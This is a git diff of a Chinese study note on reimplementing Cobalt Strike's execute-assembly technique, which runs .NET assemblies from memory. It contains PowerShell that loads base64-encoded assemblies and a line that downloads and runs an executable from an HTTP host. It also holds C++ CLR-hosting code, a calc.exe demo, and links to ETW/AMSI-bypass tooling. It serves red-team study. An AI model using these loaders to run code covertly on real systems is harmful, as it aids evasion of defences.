1- # 内存加载执行文件的方法
1+ # Execute-Assembly实现方法
22
3+ 文档里的代码都[ DailyCode/PEExecute at main · echo0d/DailyCode] ( https://github.com/echo0d/DailyCode/tree/main/ExecuteAssembly )
34
4-
5- 分两部分:
6-
7- * .NET程序集
8- * PE文件
5+ > * 执行本地exe
6+ > * 从内存中加载.NET程序集
7+ > * C#
8+ > * C++
9+ >
10+ > [ Execute-Assembly实现 | idiotc4t's blog] ( https://idiotc4t.com/defense-evasion/cobaltstrike-executeassembly-realization )
911
1012## 0. 执行本地文件
1113
@@ -335,25 +337,61 @@ namespace TestApplication
335337
336338powershell 访问.net 程序集的代码比较简单
337339
340+ 1 . 把代码写进ps1 脚本里
341+
342+ ```powershell
343+ # 把代码写进ps1脚本里
344+
345+ $Assemblies = (
346+ " System, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=MSIL" ,
347+ " System.Linq, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL"
348+ )
349+
350+ $Source = @"
351+ using System;
352+ using System.Reflection;
353+ namespace TestApplication
354+ {
355+ public class Program
356+ {
357+ public static void Main()
358+ {
359+
360+ Console.WriteLine(" HELLO " );
361+ }
362+ }
363+ }
364+ " @
365+
366+ Add - Type - ReferencedAssemblies $Assemblies - TypeDefinition $Source - Language CSharp
367+ [TestApplication .Program ]:: Main ()
368+ ```
369+
370+ 2 . base64编码的字符串
371+
338372``` powershell
373+ # base64编码的字符串
339374$base64 = "TVqQAAMAAAAEAAA(前面生成的base64编码的程序集)";
340375$bins = [System.Convert]::FromBase64String($base64);
341376$invoke = [System.Reflection.Assembly]::Load($bins);
342377[System.Console]::WriteLine($invoke);
378+ $invoke.EntryPoint.Invoke($null,$null)
343379
344- $args = New - Object - TypeName System .Collections .ArrayList
345-
346- [string []]$strings = " -group=all" ," -full"
347380
348- $args .Add ($strings )
349-
350- $invoke .EntryPoint .Invoke ($N ,$args .ToArray ());
381+ # 如果你有参数
382+ # $args = New-Object -TypeName System.Collections.ArrayList
383+ # [string[]]$strings = "-group=all","-full"
384+ # $args.Add($strings)
385+ # $invoke.EntryPoint.Invoke($null,$args.ToArray());
351386```
352387
353- 也可以远程加载
388+ 3 . 远程加载
354389
355390``` powershell
356- $invoke = [System .Reflection .Assembly ]:: UnsafeLoadFrom (" http://192.168.0.125/base" );
391+ # 远程下载
392+ $invoke2 = [System.Reflection.Assembly]::UnsafeLoadFrom("http://127.0.0.1:8000/testcalc.exe");
393+ [System.Console]::WriteLine($invoke2);
394+ $invoke2.EntryPoint.Invoke($null,$null)
357395```
358396
359397
@@ -364,11 +402,9 @@ $invoke = [System.Reflection.Assembly]::UnsafeLoadFrom("http://192.168.0.125/bas
364402
365403当不是用C#编写代码,但还是想要实现上面的操作时,例如Cobalt Strike 3.11中,加入了一个名为”execute-assembly”的命令,能够从内存中加载.NET程序集。` execute-assembly ` 功能的实现,必须使用一些来自.NET Framework的核心接口来执行.NET程序集口
366404
367- ### 2.1. 基础知识
368-
369- CLR 全称Common Language Runtime (公共语言运行库),是一个可由多种编程语言使用的运行环境
405+ ### 2.1. CLR
370406
371- CLR 是 .NET Framework 的主要执行引擎,作用之一是监视程序的运行:
407+ CLR全称Common Language Runtime(公共语言运行库),是一个可由多种编程语言使用的运行环境,是 .NET Framework的主要执行引擎,作用之一是监视程序的运行:(或者说相当于Java中的JVM)
372408
373409- 在CLR监视之下运行的程序属于”托管的”(managed)代码
374410- 不在CLR之下、直接在裸机上运行的应用或者组件属于”非托管的”(unmanaged)的代码
@@ -383,9 +419,7 @@ CLR是.NET Framework的主要执行引擎,作用之一是监视程序的运行
383419
384420 支持v2.0.50727和v4.0.30319,在.NET Framework 2.0中,ICLRRuntimeHost用于取代ICorRuntimeHost,在实际程序开发中,很少会考虑.NET Framework 1.0,所以两个接口都可以使用
385421
386- #### 重要接口描述
387-
388- `ICLRRuntimeHost `、`ICLRRuntimeInfo ` 以及`ICLRMetaHost ` ,以下是这三个接口的简要描述
422+ 下面选择ICLRRuntimeHost介绍:` ICLRRuntimeHost ` 、` ICLRRuntimeInfo ` 以及` ICLRMetaHost ` 接口
389423
390424[ ICLRRuntimeHost Interface - .NET Framework | Microsoft Learn] ( https://learn.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-interface )
391425
@@ -395,15 +429,17 @@ CLR是.NET Framework的主要执行引擎,作用之一是监视程序的运行
395429
396430综上所述,要在非托管代码(如C++)中执行.NET程序集,你需要首先使用` ICLRMetaHost ` 来确定哪个CLR版本已加载或可用。然后使用` ICLRRuntimeInfo ` 来为这个CLR版本获取` ICLRRuntimeHost ` 。最后用` ICLRRuntimeHost ` 来加载和执行.NET程序集。
397431
398- ### 2.2. CS内存执行流程分析
432+ ### 2.2. Cobalt Strike execute-assembly流程
433+
434+ > [ .net程序集内存加载执行技术 | 0pen1的博客] ( https://0pen1.github.io/2022/02/09/net程序集内存加载执行技术/ )
399435
400436在Cobalt Strike的代码中找到BeaconConsole.java文件,定位到“execute-assembly”命令处。通过简单分析这段代码可以知道,当解析到用户执行“execute-assembly”命令后,会先验证”pZ“和”F“关键字来判断要执行的.net程序集是否带有参数(具体如何判断请查看CommandParser类)。判断完成使用CommandParser类的popstring方法将execute-assembly的参数赋值给变量,然后调用ExecuteAssembly方法执行程序集。
401437
402- [ ! [image - 20220114182430780 ](img / PELoader / image - 20220114182430780 - 16443915545351 . png )]( https : // 0pen1.github.io/2022/02/09/net程序集内存加载执行技术/net程序集内存加载执行技术.assets /image-20220114182430780-16443915545351.png)
438+ ![ image-20220114182430780] ( img/ExecuteAssembly /image-20220114182430780-16443915545351.png )
403439
404440我们继续跟进ExecuteAssembly方法,ExecuteAssembly方法有两个参数,第一个参数为待执行的.net程序集路径,第二个参数为.net程序集执行需要的参数。执行这个方法时先将要执行的.net程序集从硬盘读取并加载到PE解析器(PEParser)中,随后判断加载的PE文件是否为.net程序集,如果是.net程序集则创建ExecuteAssemblyJob实例并调用spawn方法。
405441
406- [ ! [image - 20220114182256752 ](img / PELoader / image - 20220114182256752 . png )]( https : // 0pen1.github.io/2022/02/09/net程序集内存加载执行技术/net程序集内存加载执行技术.assets /image-20220114182256752.png)
442+ ![ image-20220114182256752] ( img/ExecuteAssembly /image-20220114182256752.png )
407443
408444接下来进入spawn方法,可以看到是** 通过反射DLL的方法,将invokeassembly.dll注入到进程当中** (这块还没自己实现过),并且设置任务号为70(x86版本)或者71(x64)。注入的invokeassembly.dll在其内存中创建CLR环境,然后通过管道再将C#可执行文件读取到内存中,最后执行。
409445
@@ -446,98 +482,153 @@ public void spawn(String var1) {
446482 }
447483```
448484
449- [! [image - 20220209135538841 ](img / PELoader / image - 20220209135538841 .png )](https :// 0pen1.github.io/2022/02/09/net程序集内存加载执行技术/net程序集内存加载执行技术.assets/image-20220209135538841.png)
485+ ![ image-20220209135538841] ( img/ExecuteAssembly/image-20220209135538841.png )
486+
487+ ![ image-20220117192352767] ( img/ExecuteAssembly/image-20220117192352767.png )
488+
450489
451- [! [image - 20220117192352767 ](img / PELoader / image - 20220117192352767 .png )](https :// 0pen1.github.io/2022/02/09/net程序集内存加载执行技术/net程序集内存加载执行技术.assets/image-20220117192352767.png)
452490
453- 总结一下,Cobalt Strike 内存加载执行.net 程序集大概的过程就是,首先spawn 一个进程并传输invokeassembly .dll 注入到该进程,invokeassembly .dll 实现了在其内存中创建CLR 环境,然后通过管道再将C #可执行文件读取到内存中,最后执行。
491+ ** 总结一下** ,Cobalt Strike内存加载执行.net程序集大概的过程就是,首先spawn一个进程并传输invokeassembly.dll注入到该进程,invokeassembly.dll实现了在其内存中创建CLR环境,然后通过管道再将C#可执行文件读取到内存中,最后执行。
454492
455493** 那么invokeassembly.dll内部是如何操作的呢?**
456494
495+ TODO:反射dll注入
496+
457497### 2.3. 硬盘加载执行.NET程序集
458498
499+ #### 过程
500+
4595011 . 初始化ICLRMetaHost接口。
502+
4605032 . 通过ICLRMetaHost获取ICLRRuntimeInfo接口。
504+
4615053 . 通过ICLRRuntimeInfo将 CLR 加载到当前进程并返回运行时接口ICLRRuntimeHost指针。
506+
4625074 . 通过ICLRRuntimeHost.Start()初始化CLR。
463- 5 . 通过ICLRRuntimeHost .EecuteInDefaultAppDomain 执行指定程序集(硬盘上)。
508+
509+ 5 . 通过ICLRRuntimeHost.ExecuteInDefaultAppDomain执行指定程序集(硬盘上)。
510+
511+ [ ICLRRuntimeHost::ExecuteInDefaultAppDomain 方法 - .NET Framework | Microsoft Learn] ( https://learn.microsoft.com/zh-cn/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-executeindefaultappdomain-method )
512+
513+ ``` cpp
514+ CLRCreateInstance (CLSID_CLRMetaHost, IID_ICLRMetaHost, (VOID** )&iMetaHost);
515+ iMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (VOID** )&iRuntimeInfo);
516+ iRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (VOID** )&iRuntimeHost);
517+ iRuntimeHost->Start();
518+ hr = pRuntimeHost->ExecuteInDefaultAppDomain(L"xxx.exe",
519+ L"namespace.class",//类全名
520+ L"bbb",// 方法名
521+ L"HELLO!",// 参数 // 此处不知道咋能不输入参数,?
522+ &dwRet);
523+ ```
524+
525+
464526
465527#### 示例代码
466528
467529**unmanaged.cpp**
468530
469531```cpp
532+ #include <SDKDDKVer.h>
533+
534+ #include <stdio.h>
535+ #include <tchar.h>
536+ #include <windows.h>
537+
470538#include <metahost.h>
539+ #include <mscoree.h>
471540#pragma comment(lib, "mscoree.lib")
472541
473- int main ( )
542+ int _tmain(int argc, _TCHAR* argv[] )
474543{
475- ICLRMetaHost * iMetaHost = NULL ;
476- ICLRRuntimeInfo * iRuntimeInfo = NULL ;
477- ICLRRuntimeHost * iRuntimeHost = NULL ;
478-
479- // 初始化环境
480- CLRCreateInstance (CLSID_CLRMetaHost , IID_ICLRMetaHost , (LPVOID * )& iMetaHost );
481- iMetaHost ->GetRuntime (L " v4.0.30319" , IID_ICLRRuntimeInfo , (LPVOID * )& iRuntimeInfo );
482- iRuntimeInfo ->GetInterface (CLSID_CLRRuntimeHost , IID_ICLRRuntimeHost , (LPVOID * )& iRuntimeHost );
483- iRuntimeHost ->Start ();
544+ ICLRMetaHost* pMetaHost = nullptr;
545+ ICLRMetaHostPolicy* pMetaHostPolicy = nullptr;
546+ ICLRRuntimeHost* pRuntimeHost = nullptr;
547+ ICLRRuntimeInfo* pRuntimeInfo = nullptr;
548+
549+ HRESULT hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&pMetaHost);
550+ hr = pMetaHost->GetRuntime(L"v4.0.30319", IID_PPV_ARGS(&pRuntimeInfo));
551+ DWORD dwRet = 0;
552+ if (FAILED(hr))
553+ {
554+ goto cleanup;
555+ }
484556
485- // 执行
486- iRuntimeHost ->ExecuteInDefaultAppDomain (L " C:\\ TEST.exe" , L " TEST.Program" , L " print" , L " test" , NULL );
557+ hr = pRuntimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_PPV_ARGS(&pRuntimeHost));
558+
559+ hr = pRuntimeHost->Start();
560+ // 此处不知道咋能不输入参数,没输入就不行?
561+ hr = pRuntimeHost->ExecuteInDefaultAppDomain(L"loadCalc.exe",
562+ L"loadCalc.Program",
563+ L"bbb",
564+ L"HELLO!",
565+ &dwRet);
566+ hr = pRuntimeHost->Stop();
567+
568+ cleanup:
569+ if (pRuntimeInfo != nullptr) {
570+ pRuntimeInfo->Release();
571+ pRuntimeInfo = nullptr;
572+ }
487573
488- // 释放
489- iRuntimeInfo ->Release ();
490- iMetaHost -> Release () ;
491- iRuntimeHost -> Release ();
574+ if (pRuntimeHost != nullptr) {
575+ pRuntimeHost ->Release();
576+ pRuntimeHost = nullptr ;
577+ }
492578
493- return 0 ;
494- };
579+ if (pMetaHost != nullptr) {
580+ pMetaHost->Release();
581+ pMetaHost = nullptr;
582+ }
583+ return TRUE;
584+ }
495585```
496586
497587执行的C#源码
498588
499589``` csharp
500590using System ;
501591
502- namespace TEST
592+ namespace loadCalc
503593{
504- class Program
594+ public class Program
505595 {
506- static int Main (String [] args )
596+ public static void Main ()
507597 {
508-
509- return 1 ;
598+ Console .WriteLine (" Hello World!" );
510599 }
511- static int print ( String strings )
600+ public static int bbb ( string s )
512601 {
513- Console .WriteLine (strings );
514- return 1 ;
602+ System .Diagnostics .Process p = new System .Diagnostics .Process ();
603+ p .StartInfo .FileName = " c:\\ windows\\ system32\\ calc.exe" ;
604+ p .Start ();
605+ Console .WriteLine (s );
606+ return 0 ;
515607 }
516608 }
517609}
518610```
519611
612+ 效果
613+
614+ ![ image-20241210102855805] ( img/ExecuteAssembly/image-20241210102855805.png )
615+
520616### 2.4. 内存加载执行.NET程序集
521617
522- >
618+ > [ med0x2e/ExecuteAssembly: Load/Inject .NET assemblies by; reusing the host (spawnto) process loaded CLR AppDomainManager, Stomping Loader/.NET assembly PE DOS headers, Unlinking .NET related modules, bypassing ETW+AMSI, avoiding EDR hooks via NT static syscalls (x64) and hiding imports by dynamically resolving APIs (hash). ] ( https://github.com/med0x2e/ExecuteAssembly )
523619
524- 1 .初始化 CLR 环境(同上)
620+ #### 过程
525621
526- ```cpp
527- CLRCreateInstance (CLSID_CLRMetaHost , IID_ICLRMetaHost , (VOID ** )& iMetaHost );
528- iMetaHost ->GetRuntime (L " v4.0.30319" , IID_ICLRRuntimeInfo , (VOID ** )& iRuntimeInfo );
529- iRuntimeInfo ->GetInterface (CLSID_CorRuntimeHost , IID_ICorRuntimeHost , (VOID ** )& iRuntimeHost );
530- iRuntimeHost ->Start ();
531- ```
622+ 1 . 初始化CLR环境(同上)
532623
533- 2 .通过ICLRRuntimeHost 获取AppDomain 接口指针,然后通过AppDomain 接口的QueryInterface 方法来查询默认应用程序域的实例指针。
624+ 2 . 通过ICLRRuntimeHost获取AppDomain接口指针,然后通过AppDomain接口的QueryInterface方法来查询默认应用程序域的实例指针。
534625
535626``` cpp
536627 iRuntimeHost->GetDefaultDomain (&pAppDomain);
537628 pAppDomain->QueryInterface(__ uuidof(_ AppDomain), (VOID** )&pDefaultAppDomain);
538629```
539630
540- 3 .通过默认应用程序域实例的Load_3 方法加载安全.net 程序集数组,并返回Assembly 的实例对象指针,通过Assembly 实例对象的get_EntryPoint 方法获取描述入口点的MethodInfo 实例对象。
631+ 3. 通过默认应用程序域实例的Load_3方法加载安全.net程序集数组,并返回Assembly的实例对象指针,通过Assembly实例对象的get_EntryPoint方法获取描述入口点的MethodInfo实例对象。
541632
542633```cpp
543634 saBound[0].cElements = ASSEMBLY_LENGTH;
@@ -552,7 +643,7 @@ namespace TEST
552643 pAssembly->get_EntryPoint(&pMethodInfo);
553644```
554645
555- 4 .创建参数安全数组
646+ 4 . 创建参数安全数组
556647
557648``` cpp
558649ZeroMemory (&vRet, sizeof(VARIANT));
@@ -575,7 +666,7 @@ ZeroMemory(&vRet, sizeof(VARIANT));
575666 }
576667```
577668
578- 5 .通过描述入口点的MethodInfo 实例对象的Invoke 方法执行入口点。
669+ 5. 通过描述入口点的MethodInfo实例对象的Invoke方法执行入口点。
579670
580671```cpp
581672HRESULT hr = pMethodInfo->Invoke_3(vObj, args, &vRet);
@@ -698,18 +789,7 @@ namespace TEST
698789
699790
700791
701- ## 3. managed代码内存加载执行PE文件
702-
703- 需要自己实现PE 加载器
704-
705-
706-
707- ## 4. unmanaged代码内存加载执行PE文件
708-
709- 需要自己实现PE 加载器
710-
711792
712793
713794
714795
715- TODO :反射dll 注入
0 commit comments